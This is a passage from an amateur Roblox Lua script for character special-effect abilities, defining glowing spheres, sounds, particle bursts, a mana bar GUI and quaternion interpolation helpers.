  1335. sa2.SoundId = "rbxassetid://93724183"
  1336. sa2.Pitch = 0.5
  1337. sa2.Volume = 5
  1338. sa2.Looped = false
  1339. sa2:Play()
  1340. local saz2 = Instance.new("Sound",sparta)
  1341. saz2.SoundId = "rbxassetid://199145659"
  1342. saz2.Pitch = 0.45
  1343. saz2.Volume = 5*2
  1344. saz2.Looped = false
  1345. local plode = Instance.new("Sound",sparta)
  1346. plode.SoundId = "rbxassetid://153274423"
  1347. plode.Volume = 5
  1348. plode.Pitch = 1
  1349. plode.Looped = false
  1350. local ploder = Instance.new("Sound",sparta)
  1351. ploder.SoundId = "rbxassetid://130972023"
  1352. ploder.Volume = 5
  1353. ploder.Pitch = 1
  1354. ploder.Looped = false
  1355. sparta.Size = vt(1,1,1)
  1356. sparta.BrickColor = BrickColor.new("Crimson")
  1357. sparta.Material = "Neon"
  1358. sparta.Transparency = 0
  1359. sparta.Anchored = true
  1360. sparta.CanCollide = false
  1361. sparta.CFrame = tors.CFrame
  1362. sparta.Rotation = vt(0,0,0)
  1363. local value2 = 2
  1364. for i = 0, 24 do
  1365. value2 = value2 - 0.065
  1366. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1367. wait()
  1368. end
  1369. for i = 0, 10 do
  1370. value2 = value2 + 0.06575
  1371. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1372. wait()
  1373. end
  1374. for i = 0, 10 do
  1375. value2 = value2 - 0.2
  1376. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1377. wait()
  1378. end
  1379. for i = 0, 10 do
  1380. value2 = value2 + 0.275
  1381. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1382. wait()
  1383. end
  1384. for i = 0, 10 do
  1385. value2 = value2 - 0.4
  1386. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1387. wait()
  1388. end
  1389. for i = 0, 10 do
  1390. value2 = value2 + 0.475
  1391. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1392. wait()
  1393. end
  1394. for i = 0, 10 do
  1395. value2 = value2 - 0.6
  1396. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1397. wait()
  1398. end
  1399. for i = 0, 10 do
  1400. value2 = value2 + 0.675
  1401. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1402. wait()
  1403. end
  1404. for i = 0, 10 do
  1405. value2 = value2 - 0.7
  1406. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1407. wait()
  1408. end
  1409. for i = 0, 10 do
  1410. value2 = value2 + 0.775
  1411. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1412. wait()
  1413. end
  1414. saz2:Play()
  1415. wait(2.75)
  1416. plode:Play()
  1417. ploder:Play()
  1418. Ultramode = true
  1419. for i = 0, 75 do
  1420. value2 = value2 - 0.0575
  1421. glowz.Rate = 0
  1422. sparta.Transparency = sparta.Transparency + 0.025
  1423. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1424. wait()
  1425. end
  1426. hum.WalkSpeed = 16
  1427. sparta:Destroy()
  1428. end
  1429. end
  1430.  
  1431.  
  1432. function Blaze2()
  1433. if ultcooldown >= 30 then
  1434. local sloc = Instance.new("Part",workspace)
  1435. local msh = Instance.new("SpecialMesh",sloc)
  1436. msh.MeshType = "Sphere"
  1437. sloc.Size = vt(1,1,1)
  1438. sloc.Transparency = 1
  1439. sloc.BrickColor = tors.BrickColor
  1440. sloc.Position = hed.Position + vt(0,0.1,0)
  1441. sloc.CanCollide = false
  1442. sloc.Shape = "Ball"
  1443. sloc.Anchored = true
  1444. sloc.Material = "Neon"
  1445. local s = Instance.new("Sound",char)
  1446. s.SoundId = "rbxassetid://289315275"
  1447. s.Pitch = 1
  1448. s.Volume = 2.75
  1449. s.Looped = false
  1450. s:Play()
  1451. local s2 = Instance.new("Sound",char)
  1452. s2.SoundId = "rbxassetid://671759140"
  1453. s2.Pitch = 0.425
  1454. s2.Volume = 1
  1455. s2.Looped = false
  1456. s2:Play()
  1457. local val = 0.65*5
  1458. for i = 0 , 75 do
  1459. sloc.Transparency = sloc.Transparency - 0.035
  1460. msh.Scale = msh.Scale + vt(val,val,val)
  1461. val = val - 0.0075*5
  1462. wait()
  1463. end
  1464. wait(2)
  1465. local sen = Instance.new("Sound",char)
  1466. sen.SoundId = "rbxassetid://289315275"
  1467. sen.Pitch = 1
  1468. sen.Volume = 2.75
  1469. sen.Looped = false
  1470. sen:Play()
  1471. local tick = Instance.new("Sound",char)
  1472. tick.SoundId = "rbxassetid://446876721"
  1473. tick.Volume = 2.5
  1474. tick.Pitch = 0.5
  1475. tick:Play()
  1476. msh.Scale = msh.Scale - vt(1,1,1)
  1477. sloc.Transparency = sloc.Transparency + 0.015
  1478. local spart = Instance.new("Part",workspace)
  1479. local msh2 = Instance.new("SpecialMesh",spart)
  1480. msh2.MeshType = "Sphere"
  1481. spart.Size = vt(2,2,2)
  1482. spart.Shape = "Ball"
  1483. spart.BrickColor = tors.BrickColor
  1484. spart.Material = "Neon"
  1485. spart.Transparency = 0
  1486. spart.Anchored = false
  1487. msh2.Scale = msh.Scale/2
  1488. spart.Rotation = hed.Rotation
  1489. spart.CanCollide = false
  1490. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1491. local bv = Instance.new("BodyVelocity")
  1492. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1493. bv.velocity = mouse.Hit.lookVector * 125
  1494. bv.Parent = spart
  1495. sloc:Destroy()
  1496. wait(0.00001)
  1497. pewdiepie=spart.Touched:connect(function(hit)
  1498. ExplodeMassen(100,spart)
  1499. end)
  1500. wait(5)
  1501. sloc:Destroy()
  1502. tick:Destroy()
  1503. s:Destroy()
  1504. sen:Destroy()
  1505. s2:Destroy()
  1506. end
  1507. if ultcooldown < 1 then
  1508. for i = 0, 29 do
  1509. ultcooldown = ultcooldown + 1
  1510. wait(1)
  1511. end
  1512. end
  1513. end
  1514.  
  1515. function Blaze()
  1516. if ultcooldown >= 30 then
  1517. local ff = Instance.new("ForceField",char)
  1518. local s = Instance.new("Sound",char)
  1519. s.SoundId = "rbxassetid://289315275"
  1520. s.Pitch = 1
  1521. s.Volume = 2.75
  1522. s.Looped = false
  1523. s:Play()
  1524. local s2 = Instance.new("Sound",char)
  1525. s2.SoundId = "rbxassetid://671759140"
  1526. s2.Pitch = 0.425
  1527. s2.Volume = 1
  1528. s2.Looped = false
  1529. s2:Play()
  1530. local spart = boll:Clone()
  1531. local spart2 = shur:Clone()
  1532. local msh = Instance.new("SpecialMesh",spart)
  1533. msh.MeshType = "Sphere"
  1534. spart.Parent = workspace
  1535. spart.Transparency = 1
  1536. spart.Anchored = true
  1537. spart.Position = tors.Position + vt(0,1,0)
  1538. spart.Size = spart.Size + vt(1,1,1)
  1539. for i = 0, 10 do
  1540. spart.BrickColor = tors.BrickColor
  1541. spart.Transparency = spart.Transparency + -0.05
  1542. spart.Position = tors.Position + vt(0,1,0)
  1543. spart.Size = spart.Size + vt(3,3,3)
  1544. wait(0)
  1545. end
  1546. for i = 0, 5 do
  1547. spart.BrickColor = tors.BrickColor
  1548. spart.Transparency = spart.Transparency + -0.05
  1549. spart.Position = tors.Position + vt(0,1,0)
  1550. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1551. wait(0)
  1552. end
  1553. for i = 0, 5 do
  1554. spart.BrickColor = tors.BrickColor
  1555. spart.Transparency = spart.Transparency + -0.05
  1556. spart.Position = tors.Position + vt(0,1,0)
  1557. spart.Size = spart.Size + vt(1,1,1)
  1558. wait(0)
  1559. end
  1560. for i = 0, 10 do
  1561. spart.BrickColor = tors.BrickColor
  1562. wait(0.1)
  1563. end
  1564. for i = 0, 20 do
  1565. spart.BrickColor = tors.BrickColor
  1566. spart.Transparency = spart.Transparency + 0.05
  1567. spart.Position = tors.Position + vt(0,1,0)
  1568. spart.Size = spart.Size + vt(-5,-5,-5)
  1569. wait(0)
  1570. end
  1571. local sp = spart:Clone()
  1572. sp.Parent = workspace
  1573. sp.Position = spart.Position
  1574. local sp2 = sp:Clone()
  1575. sp2.Parent = workspace
  1576. sp2.Transparency = 0.5
  1577. local msh2 = sp2.Mesh
  1578. msh2.Scale = vt(1250,1250,1250)
  1579. wit = tors.BrickColor.Color
  1580. local glowz = Instance.new("ParticleEmitter")
  1581. glowz.LightEmission = 0.75
  1582. glowz.Parent = sp2
  1583. glowz.Texture = "rbxassetid://284205403"
  1584. glowz.Color = ColorSequence.new(wit)
  1585. glowz.Size = NumberSequence.new(50)
  1586. glowz.Speed = NumberRange.new(425,450)
  1587. glowz.LockedToPart = false
  1588. glowz.Transparency = NumberSequence.new(0.75)
  1589. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1590. glowz.Lifetime = NumberRange.new(1)
  1591. glowz.Rate = 50000
  1592. glowz.VelocitySpread = 9001
  1593. spart2.Parent = workspace
  1594. spart2.Mesh.Scale = vt(25, 90000, 25)
  1595. spart2.Position = tors.Position
  1596. local seen = Instance.new("Sound",char)
  1597. seen.SoundId = "rbxassetid://445796828"
  1598. seen.Pitch = 0.75
  1599. seen.Volume = 1.75
  1600. seen.Looped = true
  1601. seen:Play()
  1602. local sen = Instance.new("Sound",char)
  1603. sen.SoundId = "rbxassetid://289315275"
  1604. sen.Pitch = 0.98
  1605. sen.Volume = 2.65
  1606. sen.Looped = false
  1607. sen:Play()
  1608. local tick = Instance.new("Sound",char)
  1609. tick.SoundId = "rbxassetid://446876721"
  1610. tick.Volume = 5
  1611. tick.Pitch = 0.5
  1612. tick:Play()
  1613. local seena = Instance.new("Sound",char)
  1614. seena.SoundId = "rbxassetid://300916057"
  1615. seena.Pitch = 0.5
  1616. seena.Volume = 2.5
  1617. seena.Looped = false
  1618. seena:Play()
  1619. spart.Transparency = 0
  1620. ExplodeMass(1000,sp)
  1621. for i = 0, 450 do
  1622. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1623. sp2.Position = spart.Position
  1624. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1625. spart2.BrickColor = tors.BrickColor
  1626. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1627. msh.Scale = msh.Scale + vt(50,50,50)
  1628. sp2.Transparency = sp2.Transparency + 0.0005
  1629. spart.Transparency = spart.Transparency + 0.0025
  1630. spart2.Transparency = spart2.Transparency + 0.0025
  1631. wait(0)
  1632. end
  1633. spart:Destroy()
  1634. seena:Destroy()
  1635. ff:Destroy()
  1636. seen:Destroy()
  1637. sen:Destroy()
  1638. tick:Destroy()
  1639. spart2:Destroy()
  1640. s:Destroy()
  1641. sp:Destroy()
  1642. sp2:Destroy()
  1643. s2:Destroy()
  1644. end
  1645. if ultcooldown < 1 then
  1646. for i = 0, 29 do
  1647. ultcooldown = ultcooldown + 1
  1648. wait(1)
  1649. end
  1650. end
  1651. end
  1652.  
  1653. -- sin
  1654. Player=game:GetService("Players").LocalPlayer
  1655. Character=Player.Character
  1656. PlayerGui=Player.PlayerGui
  1657. Backpack=Player.Backpack
  1658. Torso=Character.Torso
  1659. Head=Character.Head
  1660. Humanoid=Character.Humanoid
  1661. m=Instance.new('Model',Character)
  1662. LeftArm=Character["Left Arm"]
  1663. LeftLeg=Character["Left Leg"]
  1664. RightArm=Character["Right Arm"]
  1665. RightLeg=Character["Right Leg"]
  1666. LS=Torso["Left Shoulder"]
  1667. LH=Torso["Left Hip"]
  1668. RS=Torso["Right Shoulder"]
  1669. RH=Torso["Right Hip"]
  1670. Face = Head.face
  1671. Neck=Torso.Neck
  1672. it=Instance.new
  1673. attacktype=1
  1674. vt=Vector3.new
  1675. cf=CFrame.new
  1676. euler=CFrame.fromEulerAnglesXYZ
  1677. angles=CFrame.Angles
  1678. cloaked=false
  1679. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1680. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1681. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1682. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1683. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1684. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1685. RootPart=Character.HumanoidRootPart
  1686. RootJoint=RootPart.RootJoint
  1687. RootCF=euler(-1.57,0,3.14)
  1688. attack = false
  1689. attackdebounce = false
  1690. deb=false
  1691. equipped=true
  1692. hand=false
  1693. MMouse=nil
  1694. combo=0
  1695. mana=0
  1696. trispeed=1
  1697. pathtrans=.7
  1698. attackmode='none'
  1699. local idle=0
  1700. local Anim="Idle"
  1701. local Effects={}
  1702. local gun=false
  1703. local shoot=false
  1704. player=nil
  1705. cloak=false
  1706. lightcolor='Bright blue'
  1707.  
  1708. local Color1=BrickColor.new("Electric blue")
  1709.  
  1710. local fengui=it("GuiMain")
  1711. fengui.Parent=Player.PlayerGui
  1712. fengui.Name="WeaponGUI"
  1713. local fenframe=it("Frame")
  1714. fenframe.Parent=fengui
  1715. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1716. fenframe.BackgroundTransparency=1
  1717. fenframe.BorderColor3=Color3.new(17,17,17)
  1718. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1719. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1720. local fenbarmana1=it("TextLabel")
  1721. fenbarmana1.Parent=fenframe
  1722. fenbarmana1.Text=" "
  1723. fenbarmana1.BackgroundTransparency=0
  1724. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1725. fenbarmana1.SizeConstraint="RelativeXY"
  1726. fenbarmana1.TextXAlignment="Center"
  1727. fenbarmana1.TextYAlignment="Center"
  1728. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1729. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1730. local fenbarmana2=it("TextLabel")
  1731. fenbarmana2.Parent=fenframe
  1732. fenbarmana2.Text=" "
  1733. fenbarmana2.BackgroundTransparency=0
  1734. fenbarmana2.BackgroundColor3=Torso.Color
  1735. fenbarmana2.SizeConstraint="RelativeXY"
  1736. fenbarmana2.TextXAlignment="Center"
  1737. fenbarmana2.TextYAlignment="Center"
  1738. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1739. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1740. local fenbarmana3=it("TextLabel")
  1741. fenbarmana3.Parent=fenframe
  1742. fenbarmana3.Text=" "
  1743. fenbarmana3.BackgroundTransparency=0
  1744. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1745. fenbarmana3.SizeConstraint="RelativeXY"
  1746. fenbarmana3.TextXAlignment="Center"
  1747. fenbarmana3.TextYAlignment="Center"
  1748. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1749. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1750. local fenbarmana4=it("TextLabel")
  1751. fenbarmana4.Parent=fenframe
  1752. fenbarmana4.Text="Energy("..mana..")"
  1753. fenbarmana4.BackgroundTransparency=1
  1754. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1755. fenbarmana4.SizeConstraint="RelativeXY"
  1756. fenbarmana4.TextXAlignment="Center"
  1757. fenbarmana4.TextYAlignment="Center"
  1758. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1759. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1760. fenbarmana4.FontSize="Size9"
  1761. fenbarmana4.TextStrokeTransparency=0
  1762. fenbarmana4.TextColor=BrickColor.new("Crimson")
  1763.  
  1764. mouse=Player:GetMouse()
  1765. --save shoulders
  1766. RSH, LSH=nil, nil
  1767. --welds
  1768. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1769. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1770. LH=Torso["Left Hip"]
  1771. RH=Torso["Right Hip"]
  1772. TorsoColor=BrickColor.new("Electric blue")
  1773. function NoOutline(Part)
  1774. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1775. end
  1776. player=Player
  1777. ch=Character
  1778. RSH=ch.Torso["Right Shoulder"]
  1779. LSH=ch.Torso["Left Shoulder"]
  1780. --
  1781. RSH.Parent=nil
  1782. LSH.Parent=nil
  1783. --
  1784. RW.Name="Right Shoulder"
  1785. RW.Part0=ch.Torso
  1786. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1787. RW.C1=cf(0, 0.5, 0)
  1788. RW.Part1=ch["Right Arm"]
  1789. RW.Parent=ch.Torso
  1790. --
  1791. LW.Name="Left Shoulder"
  1792. LW.Part0=ch.Torso
  1793. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1794. LW.C1=cf(0, 0.5, 0)
  1795. LW.Part1=ch["Left Arm"]
  1796. LW.Parent=ch.Torso
  1797.  
  1798.  
  1799. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1800. local fp=it("Part")
  1801. fp.formFactor=formfactor
  1802. fp.Parent=parent
  1803. fp.Reflectance=reflectance
  1804. fp.Transparency=transparency
  1805. fp.CanCollide=false
  1806. fp.Locked=true
  1807. fp.BrickColor=brickcolor
  1808. fp.Name=name
  1809. fp.Size=size
  1810. fp.Position=Torso.Position
  1811. NoOutline(fp)
  1812. fp.Material="Neon"
  1813. fp:BreakJoints()
  1814. return fp
  1815. end
  1816.  
  1817. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1818. local mesh=it(Mesh)
  1819. mesh.Parent=part
  1820. if Mesh=="SpecialMesh" then
  1821. mesh.MeshType=meshtype
  1822. if meshid~="nil" then
  1823. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1824. end
  1825. end
  1826. mesh.Offset=offset
  1827. mesh.Scale=scale
  1828. return mesh
  1829. end
  1830.  
  1831. function weld(parent,part0,part1,c0)
  1832. local weld=it("Weld")
  1833. weld.Parent=parent
  1834. weld.Part0=part0
  1835. weld.Part1=part1
  1836. weld.C0=c0
  1837. return weld
  1838. end
  1839.  
  1840. local Color1=BrickColor.new("Electric blue")
  1841.  
  1842. local bodvel=Instance.new("BodyVelocity")
  1843. local bg=Instance.new("BodyGyro")
  1844.  
  1845. function swait(num)
  1846. if num==0 or num==nil then
  1847. game:service'RunService'.Stepped:wait(0)
  1848. else
  1849. for i=0,num do
  1850. game:service'RunService'.Stepped:wait(0)
  1851. end
  1852. end
  1853. end
  1854.  
  1855.  
  1856. so = function(id,par,vol,pit)
  1857. coroutine.resume(coroutine.create(function()
  1858. local sou = Instance.new("Sound",par or workspace)
  1859. sou.Volume=vol
  1860. sou.Pitch=pit or 1
  1861. sou.SoundId=id
  1862. swait()
  1863. sou:play()
  1864. game:GetService("Debris"):AddItem(sou,6)
  1865. end))
  1866. end
  1867.  
  1868. function clerp(a,b,t)
  1869. local qa = {QuaternionFromCFrame(a)}
  1870. local qb = {QuaternionFromCFrame(b)}
  1871. local ax, ay, az = a.x, a.y, a.z
  1872. local bx, by, bz = b.x, b.y, b.z
  1873. local _t = 1-t
  1874. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1875. end
  1876.  
  1877. function QuaternionFromCFrame(cf)
  1878. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1879. local trace = m00 + m11 + m22
  1880. if trace > 0 then
  1881. local s = math.sqrt(1 + trace)
  1882. local recip = 0.5/s
  1883. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1884. else
  1885. local i = 0
  1886. if m11 > m00 then
  1887. i = 1
  1888. end
  1889. if m22 > (i == 0 and m00 or m11) then
  1890. i = 2
  1891. end
  1892. if i == 0 then
  1893. local s = math.sqrt(m00-m11-m22+1)
  1894. local recip = 0.5/s
  1895. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1896. elseif i == 1 then
  1897. local s = math.sqrt(m11-m22-m00+1)
  1898. local recip = 0.5/s
  1899. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1900. elseif i == 2 then
  1901. local s = math.sqrt(m22-m00-m11+1)
  1902. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1903. end
  1904. end
  1905. end
  1906.  
  1907. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1908. local xs, ys, zs = x + x, y + y, z + z
  1909. local wx, wy, wz = w*xs, w*ys, w*zs
  1910. local xx = x*xs
  1911. local xy = x*ys
  1912. local xz = x*zs
  1913. local yy = y*ys
  1914. local yz = y*zs
  1915. local zz = z*zs
  1916. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1917. end
  1918.  
  1919. function QuaternionSlerp(a, b, t)
  1920. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1921. local startInterp, finishInterp;
  1922. if cosTheta >= 0.0001 then
  1923. if (1 - cosTheta) > 0.0001 then
  1924. local theta = math.acos(cosTheta)
  1925. local invSinTheta = 1/math.sin(theta)
  1926. startInterp = math.sin((1-t)*theta)*invSinTheta
  1927. finishInterp = math.sin(t*theta)*invSinTheta
  1928. else
  1929. startInterp = 1-t
  1930. finishInterp = t
  1931. end
  1932. else
  1933. if (1+cosTheta) > 0.0001 then
  1934. local theta = math.acos(-cosTheta)
  1935. local invSinTheta = 1/math.sin(theta)
  1936. startInterp = math.sin((t-1)*theta)*invSinTheta
  1937. finishInterp = math.sin(t*theta)*invSinTheta
  1938. else
  1939. startInterp = t-1
  1940. finishInterp = t
  1941. end
  1942. end
  1943. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1944. end
  1945.  
  1946. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  1947. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  1948. end
  1949.  
  1950. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  1951. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1952. prt.Anchored=true
  1953. prt.CFrame=cframe
  1954. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  1955. --http://www.roblox.com/asset/?id=4770560
  1956. game:GetService("Debris"):AddItem(prt,2)
  1957. CF=prt.CFrame
  1958. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  1959. for i=0,1,0.2 do
  1960. wait()
  1961. Part.CFrame=CF*cf(0,0,-0.4)
  1962. end
  1963. for i=0,1,delay do
  1964. wait()
  1965. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  1966. Mesh.Scale=Mesh.Scale
  1967. end
  1968. for i=0,1,0.1 do
  1969. wait()
  1970. Part.Transparency=i
  1971. end
  1972. Part.Parent=nil
  1973. end),prt,msh,CF)
  1974. end
  1975.  
  1976. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1977. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1978. prt.Anchored=true
  1979. prt.CFrame=cframe
  1980. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1981. game:GetService("Debris"):AddItem(prt,5)
  1982. coroutine.resume(coroutine.create(function(Part,Mesh)
  1983. for i=0,1,delay do
  1984. wait()
  1985. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1986. Part.Transparency=i
  1987. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1988. end
  1989. Part.Parent=nil
  1990. end),prt,msh)
  1991. end
  1992.  
  1993. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  1994. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1995. prt.Anchored=false
  1996. prt.CFrame=cframe
  1997. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1998. local wld=weld(prt,prt,Parent,cframe)
  1999. game:GetService("Debris"):AddItem(prt,5)
  2000. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2001. for i=0,1,delay do
  2002. wait()
  2003. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2004. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2005. Part.Transparency=i
  2006. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2007. end
  2008. Part.Parent=nil
  2009. end),prt,msh,wld)
  2010. end
  2011.  
  2012. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2013. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2014. prt.Anchored=false
  2015. prt.CFrame=cframe
  2016. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2017. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2018. game:GetService("Debris"):AddItem(prt,5)
  2019. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2020. for i=0,1,delay do
  2021. wait()
  2022. Weld.C0=euler(i*20,0,0)
  2023. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2024. Part.Transparency=i
  2025. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2026. end
  2027. Part.Parent=nil
  2028. end),prt,msh,wld)
  2029. end
  2030.  
  2031. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2032. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2033. prt.Anchored=true
  2034. prt.CFrame=cframe
  2035. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2036. game:GetService("Debris"):AddItem(prt,2)
  2037. coroutine.resume(coroutine.create(function(Part,Mesh)
  2038. for i=0,1,delay do
  2039. wait()
  2040. Part.CFrame=Part.CFrame
  2041. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2042. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2043. prt2.Anchored=true
  2044. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2045. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2046. game:GetService("Debris"):AddItem(prt2,2)
  2047. coroutine.resume(coroutine.create(function(Part,Mesh)
  2048. for i=0,1,0.1 do
  2049. wait()
  2050. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2051. end
  2052. Part.Parent=nil
  2053. end),prt2,msh2)
  2054. end
  2055. for i=0,1,delay*2 do
  2056. wait()
  2057. Part.CFrame=Part.CFrame
  2058. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2059. end
  2060. Part.Parent=nil
  2061. end),prt,msh)
  2062. end
  2063.  
  2064. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2065. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2066. prt.Anchored=true
  2067. prt.CFrame=cframe
  2068. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2069. game:GetService("Debris"):AddItem(prt,2)
  2070. coroutine.resume(coroutine.create(function(Part,Mesh)
  2071. for i=0,1,delay do
  2072. wait()
  2073. Part.CFrame=Part.CFrame
  2074. Part.Transparency=i
  2075. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2076. end
  2077. Part.Parent=nil
  2078. end),prt,msh)
  2079. end
  2080.  
  2081. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2082. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2083. prt.Anchored=true
  2084. prt.CFrame=cframe*euler(x2,y2,z2)
  2085. --"http://www.roblox.com/asset/?id=168892465"
  2086. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2087. game:GetService("Debris"):AddItem(prt,2)
  2088. coroutine.resume(coroutine.create(function(Part,Mesh)
  2089. for i=0,1,0.03 do
  2090. wait()
  2091. Part.CFrame=Part.CFrame
  2092. Part.Transparency=i
  2093. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2094. end
  2095. Part.Parent=nil
  2096. end),prt,msh)
  2097. end
  2098.  
  2099. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2100. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2101. prt.Anchored=true
  2102. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2103. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
